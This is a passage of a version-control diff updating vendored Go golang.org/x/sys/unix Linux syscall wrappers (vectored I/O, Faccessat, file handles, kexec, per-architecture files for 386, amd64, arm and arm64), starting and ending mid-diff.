-+//sys preadv2(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr, flags int) (n int, err error) = SYS_PREADV2
-+//sys pwritev2(fd int, iovs []Iovec, offs_l uintptr, offs_h uintptr, flags int) (n int, err error) = SYS_PWRITEV2
-+
-+func bytes2iovec(bs [][]byte) []Iovec {
-+ iovecs := make([]Iovec, len(bs))
-+ for i, b := range bs {
-+ iovecs[i].SetLen(len(b))
-+ if len(b) > 0 {
-+ iovecs[i].Base = &b[0]
-+ } else {
-+ iovecs[i].Base = (*byte)(unsafe.Pointer(&_zero))
-+ }
-+ }
-+ return iovecs
-+}
-+
-+// offs2lohi splits offs into its lower and upper unsigned long. On 64-bit
-+// systems, hi will always be 0. On 32-bit systems, offs will be split in half.
-+// preadv/pwritev chose this calling convention so they don't need to add a
-+// padding-register for alignment on ARM.
-+func offs2lohi(offs int64) (lo, hi uintptr) {
-+ return uintptr(offs), uintptr(uint64(offs) >> SizeofLong)
-+}
-+
-+func Readv(fd int, iovs [][]byte) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ n, err = readv(fd, iovecs)
-+ readvRacedetect(iovecs, n, err)
-+ return n, err
-+}
-+
-+func Preadv(fd int, iovs [][]byte, offset int64) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ lo, hi := offs2lohi(offset)
-+ n, err = preadv(fd, iovecs, lo, hi)
-+ readvRacedetect(iovecs, n, err)
-+ return n, err
-+}
-+
-+func Preadv2(fd int, iovs [][]byte, offset int64, flags int) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ lo, hi := offs2lohi(offset)
-+ n, err = preadv2(fd, iovecs, lo, hi, flags)
-+ readvRacedetect(iovecs, n, err)
-+ return n, err
-+}
-+
-+func readvRacedetect(iovecs []Iovec, n int, err error) {
-+ if !raceenabled {
-+ return
-+ }
-+ for i := 0; n > 0 && i < len(iovecs); i++ {
-+ m := int(iovecs[i].Len)
-+ if m > n {
-+ m = n
-+ }
-+ n -= m
-+ if m > 0 {
-+ raceWriteRange(unsafe.Pointer(iovecs[i].Base), m)
-+ }
-+ }
-+ if err == nil {
-+ raceAcquire(unsafe.Pointer(&ioSync))
-+ }
-+}
-+
-+func Writev(fd int, iovs [][]byte) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ n, err = writev(fd, iovecs)
-+ writevRacedetect(iovecs, n)
-+ return n, err
-+}
-+
-+func Pwritev(fd int, iovs [][]byte, offset int64) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ lo, hi := offs2lohi(offset)
-+ n, err = pwritev(fd, iovecs, lo, hi)
-+ writevRacedetect(iovecs, n)
-+ return n, err
-+}
-+
-+func Pwritev2(fd int, iovs [][]byte, offset int64, flags int) (n int, err error) {
-+ iovecs := bytes2iovec(iovs)
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ lo, hi := offs2lohi(offset)
-+ n, err = pwritev2(fd, iovecs, lo, hi, flags)
-+ writevRacedetect(iovecs, n)
-+ return n, err
-+}
-+
-+func writevRacedetect(iovecs []Iovec, n int) {
-+ if !raceenabled {
-+ return
-+ }
-+ for i := 0; n > 0 && i < len(iovecs); i++ {
-+ m := int(iovecs[i].Len)
-+ if m > n {
-+ m = n
-+ }
-+ n -= m
-+ if m > 0 {
-+ raceReadRange(unsafe.Pointer(iovecs[i].Base), m)
-+ }
-+ }
-+}
-
- // mmap varies by architecture; see syscall_linux_*.go.
- //sys munmap(addr uintptr, length uintptr) (err error)
-@@ -1332,15 +1913,12 @@ func Munmap(b []byte) (err error) {
- // Vmsplice splices user pages from a slice of Iovecs into a pipe specified by fd,
- // using the specified flags.
- func Vmsplice(fd int, iovs []Iovec, flags int) (int, error) {
-- n, _, errno := Syscall6(
-- SYS_VMSPLICE,
-- uintptr(fd),
-- uintptr(unsafe.Pointer(&iovs[0])),
-- uintptr(len(iovs)),
-- uintptr(flags),
-- 0,
-- 0,
-- )
-+ var p unsafe.Pointer
-+ if len(iovs) > 0 {
-+ p = unsafe.Pointer(&iovs[0])
-+ }
-+
-+ n, _, errno := Syscall6(SYS_VMSPLICE, uintptr(fd), uintptr(p), uintptr(len(iovs)), uintptr(flags), 0, 0)
- if errno != 0 {
- return 0, syscall.Errno(errno)
- }
-@@ -1348,6 +1926,164 @@ func Vmsplice(fd int, iovs []Iovec, flags int) (int, error) {
- return int(n), nil
- }
-
-+//sys faccessat(dirfd int, path string, mode uint32) (err error)
-+
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ if flags & ^(AT_SYMLINK_NOFOLLOW|AT_EACCESS) != 0 {
-+ return EINVAL
-+ }
-+
-+ // The Linux kernel faccessat system call does not take any flags.
-+ // The glibc faccessat implements the flags itself; see
-+ // https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/unix/sysv/linux/faccessat.c;hb=HEAD
-+ // Because people naturally expect syscall.Faccessat to act
-+ // like C faccessat, we do the same.
-+
-+ if flags == 0 {
-+ return faccessat(dirfd, path, mode)
-+ }
-+
-+ var st Stat_t
-+ if err := Fstatat(dirfd, path, &st, flags&AT_SYMLINK_NOFOLLOW); err != nil {
-+ return err
-+ }
-+
-+ mode &= 7
-+ if mode == 0 {
-+ return nil
-+ }
-+
-+ var uid int
-+ if flags&AT_EACCESS != 0 {
-+ uid = Geteuid()
-+ } else {
-+ uid = Getuid()
-+ }
-+
-+ if uid == 0 {
-+ if mode&1 == 0 {
-+ // Root can read and write any file.
-+ return nil
-+ }
-+ if st.Mode&0111 != 0 {
-+ // Root can execute any file that anybody can execute.
-+ return nil
-+ }
-+ return EACCES
-+ }
-+
-+ var fmode uint32
-+ if uint32(uid) == st.Uid {
-+ fmode = (st.Mode >> 6) & 7
-+ } else {
-+ var gid int
-+ if flags&AT_EACCESS != 0 {
-+ gid = Getegid()
-+ } else {
-+ gid = Getgid()
-+ }
-+
-+ if uint32(gid) == st.Gid {
-+ fmode = (st.Mode >> 3) & 7
-+ } else {
-+ fmode = st.Mode & 7
-+ }
-+ }
-+
-+ if fmode&mode == mode {
-+ return nil
-+ }
-+
-+ return EACCES
-+}
-+
-+//sys nameToHandleAt(dirFD int, pathname string, fh *fileHandle, mountID *_C_int, flags int) (err error) = SYS_NAME_TO_HANDLE_AT
-+//sys openByHandleAt(mountFD int, fh *fileHandle, flags int) (fd int, err error) = SYS_OPEN_BY_HANDLE_AT
-+
-+// fileHandle is the argument to nameToHandleAt and openByHandleAt. We
-+// originally tried to generate it via unix/linux/types.go with "type
-+// fileHandle C.struct_file_handle" but that generated empty structs
-+// for mips64 and mips64le. Instead, hard code it for now (it's the
-+// same everywhere else) until the mips64 generator issue is fixed.
-+type fileHandle struct {
-+ Bytes uint32
-+ Type int32
-+}
-+
-+// FileHandle represents the C struct file_handle used by
-+// name_to_handle_at (see NameToHandleAt) and open_by_handle_at (see
-+// OpenByHandleAt).
-+type FileHandle struct {
-+ *fileHandle
-+}
-+
-+// NewFileHandle constructs a FileHandle.
-+func NewFileHandle(handleType int32, handle []byte) FileHandle {
-+ const hdrSize = unsafe.Sizeof(fileHandle{})
-+ buf := make([]byte, hdrSize+uintptr(len(handle)))
-+ copy(buf[hdrSize:], handle)
-+ fh := (*fileHandle)(unsafe.Pointer(&buf[0]))
-+ fh.Type = handleType
-+ fh.Bytes = uint32(len(handle))
-+ return FileHandle{fh}
-+}
-+
-+func (fh *FileHandle) Size() int { return int(fh.fileHandle.Bytes) }
-+func (fh *FileHandle) Type() int32 { return fh.fileHandle.Type }
-+func (fh *FileHandle) Bytes() []byte {
-+ n := fh.Size()
-+ if n == 0 {
-+ return nil
-+ }
-+ return (*[1 << 30]byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&fh.fileHandle.Type)) + 4))[:n:n]
-+}
-+
-+// NameToHandleAt wraps the name_to_handle_at system call; it obtains
-+// a handle for a path name.
-+func NameToHandleAt(dirfd int, path string, flags int) (handle FileHandle, mountID int, err error) {
-+ var mid _C_int
-+ // Try first with a small buffer, assuming the handle will
-+ // only be 32 bytes.
-+ size := uint32(32 + unsafe.Sizeof(fileHandle{}))
-+ didResize := false
-+ for {
-+ buf := make([]byte, size)
-+ fh := (*fileHandle)(unsafe.Pointer(&buf[0]))
-+ fh.Bytes = size - uint32(unsafe.Sizeof(fileHandle{}))
-+ err = nameToHandleAt(dirfd, path, fh, &mid, flags)
-+ if err == EOVERFLOW {
-+ if didResize {
-+ // We shouldn't need to resize more than once
-+ return
-+ }
-+ didResize = true
-+ size = fh.Bytes + uint32(unsafe.Sizeof(fileHandle{}))
-+ continue
-+ }
-+ if err != nil {
-+ return
-+ }
-+ return FileHandle{fh}, int(mid), nil
-+ }
-+}
-+
-+// OpenByHandleAt wraps the open_by_handle_at system call; it opens a
-+// file via a handle as previously returned by NameToHandleAt.
-+func OpenByHandleAt(mountFD int, handle FileHandle, flags int) (fd int, err error) {
-+ return openByHandleAt(mountFD, handle.fileHandle, flags)
-+}
-+
-+// Klogset wraps the sys_syslog system call; it sets console_loglevel to
-+// the value specified by arg and passes a dummy pointer to bufp.
-+func Klogset(typ int, arg int) (err error) {
-+ var p unsafe.Pointer
-+ _, _, errno := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(p), uintptr(arg))
-+ if errno != 0 {
-+ return errnoErr(errno)
-+ }
-+ return nil
-+}
-+
- /*
- * Unimplemented
- */
-@@ -1355,23 +2091,14 @@ func Vmsplice(fd int, iovs []Iovec, flags int) (int, error) {
- // Alarm
- // ArchPrctl
- // Brk
--// Capget
--// Capset
--// ClockGetres
- // ClockNanosleep
- // ClockSettime
- // Clone
--// CreateModule
--// DeleteModule
- // EpollCtlOld
- // EpollPwait
- // EpollWaitOld
- // Execve
--// Fgetxattr
--// Flistxattr
- // Fork
--// Fremovexattr
--// Fsetxattr
- // Futex
- // GetKernelSyms
- // GetMempolicy
-@@ -1405,13 +2132,11 @@ func Vmsplice(fd int, iovs []Iovec, flags int) (int, error) {
- // Msgget
- // Msgrcv
- // Msgsnd
--// Newfstatat
- // Nfsservctl
- // Personality
- // Pselect6
- // Ptrace
- // Putpmsg
--// QueryModule
- // Quotactl
- // Readahead
- // Readv
-@@ -1426,11 +2151,9 @@ func Vmsplice(fd int, iovs []Iovec, flags int) (int, error) {
- // RtSigtimedwait
- // SchedGetPriorityMax
- // SchedGetPriorityMin
--// SchedGetaffinity
- // SchedGetparam
- // SchedGetscheduler
- // SchedRrGetInterval
--// SchedSetaffinity
- // SchedSetparam
- // SchedYield
- // Security
-@@ -1447,7 +2170,6 @@ func Vmsplice(fd int, iovs []Iovec, flags int) (int, error) {
- // Shmdt
- // Shmget
- // Sigaltstack
--// Signalfd
- // Swapoff
- // Swapon
- // Sysfs
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_386.go b/vendor/golang.org/x/sys/unix/syscall_linux_386.go
-index 2b881b97..a8374b67 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_386.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_386.go
-@@ -10,25 +10,15 @@
- package unix
-
- import (
-- "syscall"
- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int32(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: int32(sec), Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = int32(nsec / 1e9)
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int32(sec), Usec: int32(usec)}
- }
-
- //sysnb pipe(p *[2]_C_int) (err error)
-@@ -60,9 +50,12 @@ func Pipe2(p []int, flags int) (err error) {
- // 64-bit file system and 32-bit uid calls
- // (386 default is 32-bit file system and 16-bit uid).
- //sys Dup2(oldfd int, newfd int) (err error)
-+//sysnb EpollCreate(size int) (fd int, err error)
-+//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
- //sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64_64
- //sys Fchown(fd int, uid int, gid int) (err error) = SYS_FCHOWN32
- //sys Fstat(fd int, stat *Stat_t) (err error) = SYS_FSTAT64
-+//sys Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_FSTATAT64
- //sys Ftruncate(fd int, length int64) (err error) = SYS_FTRUNCATE64
- //sysnb Getegid() (egid int) = SYS_GETEGID32
- //sysnb Geteuid() (euid int) = SYS_GETEUID32
-@@ -75,9 +68,10 @@ func Pipe2(p []int, flags int) (err error) {
- //sys Lstat(path string, stat *Stat_t) (err error) = SYS_LSTAT64
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) = SYS_SENDFILE64
--//sys Setfsgid(gid int) (err error) = SYS_SETFSGID32
--//sys Setfsuid(uid int) (err error) = SYS_SETFSUID32
-+//sys setfsgid(gid int) (prev int, err error) = SYS_SETFSGID32
-+//sys setfsuid(uid int) (prev int, err error) = SYS_SETFSUID32
- //sysnb Setregid(rgid int, egid int) (err error) = SYS_SETREGID32
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error) = SYS_SETRESGID32
- //sysnb Setresuid(ruid int, euid int, suid int) (err error) = SYS_SETRESUID32
-@@ -86,12 +80,12 @@ func Pipe2(p []int, flags int) (err error) {
- //sys Stat(path string, stat *Stat_t) (err error) = SYS_STAT64
- //sys SyncFileRange(fd int, off int64, n int64, flags int) (err error)
- //sys Truncate(path string, length int64) (err error) = SYS_TRUNCATE64
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
- //sysnb getgroups(n int, list *_Gid_t) (nn int, err error) = SYS_GETGROUPS32
- //sysnb setgroups(n int, list *_Gid_t) (err error) = SYS_SETGROUPS32
- //sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS__NEWSELECT
-
- //sys mmap2(addr uintptr, length uintptr, prot int, flags int, fd int, pageOffset uintptr) (xaddr uintptr, err error)
--//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
- //sys Pause() (err error)
-
- func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error) {
-@@ -165,10 +159,6 @@ func Setrlimit(resource int, rlim *Rlimit) (err error) {
- return setrlimit(resource, &rl)
- }
-
--// Underlying system call writes to newoffset via pointer.
--// Implemented in assembly to avoid allocation.
--func seek(fd int, offset int64, whence int) (newoffset int64, err syscall.Errno)
--
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- newoffset, errno := seek(fd, offset, whence)
- if errno != 0 {
-@@ -177,17 +167,17 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- return newoffset, nil
- }
-
--// Vsyscalls on amd64.
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
- //sysnb Time(t *Time_t) (tt Time_t, err error)
--
- //sys Utime(path string, buf *Utimbuf) (err error)
-+//sys utimes(path string, times *[2]Timeval) (err error)
-
- // On x86 Linux, all the socket calls go through an extra indirection,
- // I think because the 5-register system call interface can't handle
--// the 6-argument calls like sendto and recvfrom. Instead the
-+// the 6-argument calls like sendto and recvfrom. Instead the
- // arguments to the underlying system call are the number below
--// and a pointer to an array of uintptr. We hide the pointer in the
-+// and a pointer to an array of uintptr. We hide the pointer in the
- // socketcall assembly to avoid allocation on every system call.
-
- const (
-@@ -214,9 +204,6 @@ const (
- _SENDMMSG = 20
- )
-
--func socketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (n int, err syscall.Errno)
--func rawsocketcall(call int, a0, a1, a2, a3, a4, a5 uintptr) (n int, err syscall.Errno)
--
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- fd, e := socketcall(_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)), 0, 0, 0)
- if e != 0 {
-@@ -385,6 +372,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go b/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go
-index 9516a3fd..8ed1d546 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go
-@@ -7,10 +7,12 @@
- package unix
-
- //sys Dup2(oldfd int, newfd int) (err error)
-+//sysnb EpollCreate(size int) (fd int, err error)
- //sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
- //sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64
- //sys Fchown(fd int, uid int, gid int) (err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_NEWFSTATAT
- //sys Fstatfs(fd int, buf *Statfs_t) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
- //sysnb Getegid() (egid int)
-@@ -18,20 +20,43 @@ package unix
- //sysnb Getgid() (gid int)
- //sysnb Getrlimit(resource int, rlim *Rlimit) (err error)
- //sysnb Getuid() (uid int)
--//sysnb InotifyInit() (fd int, err error)
-+//sysnb inotifyInit() (fd int, err error)
-+
-+func InotifyInit() (fd int, err error) {
-+ // First try inotify_init1, because Android's seccomp policy blocks the latter.
-+ fd, err = InotifyInit1(0)
-+ if err == ENOSYS {
-+ fd, err = inotifyInit()
-+ }
-+ return
-+}
-+
- //sys Ioperm(from int, num int, on int) (err error)
- //sys Iopl(level int) (err error)
- //sys Lchown(path string, uid int, gid int) (err error)
- //sys Listen(s int, n int) (err error)
--//sys Lstat(path string, stat *Stat_t) (err error)
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ return Fstatat(AT_FDCWD, path, stat, AT_SYMLINK_NOFOLLOW)
-+}
-+
- //sys Pause() (err error)
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys Seek(fd int, offset int64, whence int) (off int64, err error) = SYS_LSEEK
--//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
-+
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ var ts *Timespec
-+ if timeout != nil {
-+ ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000}
-+ }
-+ return Pselect(nfd, r, w, e, ts, nil)
-+}
-+
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error)
--//sys Setfsgid(gid int) (err error)
--//sys Setfsuid(uid int) (err error)
-+//sys setfsgid(gid int) (prev int, err error)
-+//sys setfsuid(uid int) (prev int, err error)
- //sysnb Setregid(rgid int, egid int) (err error)
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error)
- //sysnb Setresuid(ruid int, euid int, suid int) (err error)
-@@ -39,10 +64,16 @@ package unix
- //sysnb Setreuid(ruid int, euid int) (err error)
- //sys Shutdown(fd int, how int) (err error)
- //sys Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error)
--//sys Stat(path string, stat *Stat_t) (err error)
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ // Use fstatat, because Android's seccomp policy blocks stat.
-+ return Fstatat(AT_FDCWD, path, stat, 0)
-+}
-+
- //sys Statfs(path string, buf *Statfs_t) (err error)
- //sys SyncFileRange(fd int, off int64, n int64, flags int) (err error)
- //sys Truncate(path string, length int64) (err error)
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
- //sys accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)
- //sys accept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error)
- //sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-@@ -61,6 +92,8 @@ package unix
- //sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
-
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
-+
- func Gettimeofday(tv *Timeval) (err error) {
- errno := gettimeofday(tv)
- if errno != 0 {
-@@ -69,8 +102,6 @@ func Gettimeofday(tv *Timeval) (err error) {
- return nil
- }
-
--func Getpagesize() int { return 4096 }
--
- func Time(t *Time_t) (tt Time_t, err error) {
- var tv Timeval
- errno := gettimeofday(&tv)
-@@ -84,20 +115,14 @@ func Time(t *Time_t) (tt Time_t, err error) {
- }
-
- //sys Utime(path string, buf *Utimbuf) (err error)
-+//sys utimes(path string, times *[2]Timeval) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = nsec / 1e9
-- tv.Usec = nsec % 1e9 / 1e3
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- //sysnb pipe(p *[2]_C_int) (err error)
-@@ -138,6 +163,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint64(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint64(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint64(length)
- }
-@@ -150,3 +179,16 @@ func Poll(fds []PollFd, timeout int) (n int, err error) {
- }
- return poll(&fds[0], len(fds), timeout)
- }
-+
-+//sys kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error)
-+
-+func KexecFileLoad(kernelFd int, initrdFd int, cmdline string, flags int) error {
-+ cmdlineLen := len(cmdline)
-+ if cmdlineLen > 0 {
-+ // Account for the additional NULL byte added by
-+ // BytePtrFromString in kexecFileLoad. The kexec_file_load
-+ // syscall expects a NULL-terminated string.
-+ cmdlineLen++
-+ }
-+ return kexecFileLoad(kernelFd, initrdFd, cmdlineLen, cmdline, flags)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_arm.go b/vendor/golang.org/x/sys/unix/syscall_linux_arm.go
-index 71d87022..99ae6137 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_arm.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_arm.go
-@@ -11,29 +11,26 @@ import (
- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int32(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: int32(sec), Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Sec = int32(nsec / 1e9)
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int32(sec), Usec: int32(usec)}
- }
-
-+//sysnb pipe(p *[2]_C_int) (err error)
-+
- func Pipe(p []int) (err error) {
- if len(p) != 2 {
- return EINVAL
- }
- var pp [2]_C_int
-+ // Try pipe2 first for Android O, then try pipe for kernel 2.6.23.
- err = pipe2(&pp, 0)
-+ if err == ENOSYS {
-+ err = pipe(&pp)
-+ }
- p[0] = int(pp[0])
- p[1] = int(pp[1])
- return
-@@ -84,8 +81,11 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- // 64-bit file system and 32-bit uid calls
- // (16-bit uid calls are not always supported in newer kernels)
- //sys Dup2(oldfd int, newfd int) (err error)
-+//sysnb EpollCreate(size int) (fd int, err error)
-+//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
- //sys Fchown(fd int, uid int, gid int) (err error) = SYS_FCHOWN32
- //sys Fstat(fd int, stat *Stat_t) (err error) = SYS_FSTAT64
-+//sys Fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_FSTATAT64
- //sysnb Getegid() (egid int) = SYS_GETEGID32
- //sysnb Geteuid() (euid int) = SYS_GETEUID32
- //sysnb Getgid() (gid int) = SYS_GETGID32
-@@ -94,10 +94,12 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- //sys Lchown(path string, uid int, gid int) (err error) = SYS_LCHOWN32
- //sys Listen(s int, n int) (err error)
- //sys Lstat(path string, stat *Stat_t) (err error) = SYS_LSTAT64
-+//sys Pause() (err error)
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
- //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) = SYS_SENDFILE64
- //sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS__NEWSELECT
--//sys Setfsgid(gid int) (err error) = SYS_SETFSGID32
--//sys Setfsuid(uid int) (err error) = SYS_SETFSUID32
-+//sys setfsgid(gid int) (prev int, err error) = SYS_SETFSGID32
-+//sys setfsuid(uid int) (prev int, err error) = SYS_SETFSUID32
- //sysnb Setregid(rgid int, egid int) (err error) = SYS_SETREGID32
- //sysnb Setresgid(rgid int, egid int, sgid int) (err error) = SYS_SETRESGID32
- //sysnb Setresuid(ruid int, euid int, suid int) (err error) = SYS_SETRESUID32
-@@ -105,11 +107,10 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- //sys Shutdown(fd int, how int) (err error)
- //sys Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error)
- //sys Stat(path string, stat *Stat_t) (err error) = SYS_STAT64
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
-
--// Vsyscalls on amd64.
-+//sys futimesat(dirfd int, path string, times *[2]Timeval) (err error)
- //sysnb Gettimeofday(tv *Timeval) (err error)
--//sys EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)
--//sys Pause() (err error)
-
- func Time(t *Time_t) (Time_t, error) {
- var tv Timeval
-@@ -131,6 +132,8 @@ func Utime(path string, buf *Utimbuf) error {
- return Utimes(path, tv)
- }
-
-+//sys utimes(path string, times *[2]Timeval) (err error)
-+
- //sys Pread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64
- //sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64
- //sys Truncate(path string, length int64) (err error) = SYS_TRUNCATE64
-@@ -249,6 +252,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = uint32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-@@ -261,3 +268,24 @@ func Poll(fds []PollFd, timeout int) (n int, err error) {
- }
- return poll(&fds[0], len(fds), timeout)
- }
-+
-+//sys armSyncFileRange(fd int, flags int, off int64, n int64) (err error) = SYS_ARM_SYNC_FILE_RANGE
-+
-+func SyncFileRange(fd int, off int64, n int64, flags int) error {
-+ // The sync_file_range and arm_sync_file_range syscalls differ only in the
-+ // order of their arguments.
-+ return armSyncFileRange(fd, flags, off, n)
-+}
-+
-+//sys kexecFileLoad(kernelFd int, initrdFd int, cmdlineLen int, cmdline string, flags int) (err error)
-+
-+func KexecFileLoad(kernelFd int, initrdFd int, cmdline string, flags int) error {
-+ cmdlineLen := len(cmdline)
-+ if cmdlineLen > 0 {
-+ // Account for the additional NULL byte added by
-+ // BytePtrFromString in kexecFileLoad. The kexec_file_load
-+ // syscall expects a NULL-terminated string.
-+ cmdlineLen++
-+ }
-+ return kexecFileLoad(kernelFd, initrdFd, cmdlineLen, cmdline, flags)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go b/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go
-index 4a136396..807a0b20 100644
---- a/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go
-@@ -6,7 +6,17 @@
-
- package unix
-
-+import "unsafe"
-+
-+func EpollCreate(size int) (fd int, err error) {
-+ if size <= 0 {
-+ return -1, EINVAL
-+ }
